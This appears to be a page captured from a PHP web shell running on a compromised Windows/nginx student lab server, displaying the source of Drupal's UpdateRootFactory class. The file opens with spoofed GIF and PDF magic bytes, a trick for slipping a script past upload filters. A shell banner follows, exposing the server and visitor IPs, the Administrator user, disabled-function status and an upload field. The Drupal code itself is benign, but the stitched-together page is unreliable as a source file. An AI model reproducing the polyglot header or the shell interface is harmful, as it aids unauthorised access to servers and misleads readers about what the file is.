GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.119 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/update/src/ |
Upload File : |
<?php namespace Drupal\update; use Drupal\Core\DrupalKernelInterface; use Symfony\Component\HttpFoundation\RequestStack; /** * Gets the root path used by the Update Manager to install or update projects. */ class UpdateRootFactory { /** * The Drupal kernel. * * @var \Drupal\Core\DrupalKernelInterface */ protected $drupalKernel; /** * The request stack. * * @var \Symfony\Component\HttpFoundation\RequestStack */ protected $requestStack; /** * Constructs an UpdateRootFactory instance. * * @param \Drupal\Core\DrupalKernelInterface $drupal_kernel * The Drupal kernel. * @param \Symfony\Component\HttpFoundation\RequestStack $request_stack * The request stack. */ public function __construct(DrupalKernelInterface $drupal_kernel, RequestStack $request_stack) { $this->drupalKernel = $drupal_kernel; $this->requestStack = $request_stack; } /** * Gets the root path under which projects are installed or updated. * * The Update Manager will ensure that project files can only be copied to * specific subdirectories of this root path. * * @return string */ public function get() { // Normally the Update Manager's root path is the same as the app root (the // directory in which the Drupal site is installed). $root_path = $this->drupalKernel->getAppRoot(); // When running in a test site, change the root path to be the testing site // directory. This ensures that it will always be writable by the webserver // (thereby allowing the actual extraction and installation of projects by // the Update Manager to be tested) and also ensures that new project files // added there won't be visible to the parent site and will be properly // cleaned up once the test finishes running. This is done here (rather // than having the tests enable a module which overrides the update root // factory service) to ensure that the parent site is automatically kept // clean without relying on test authors to take any explicit steps. See // also \Drupal\update\Tests\UpdateTestBase::setUp(). if (DRUPAL_TEST_IN_CHILD_SITE) { $kernel = $this->drupalKernel; $request = $this->requestStack->getCurrentRequest(); $root_path .= '/' . $kernel::findSitePath($request); } return $root_path; } }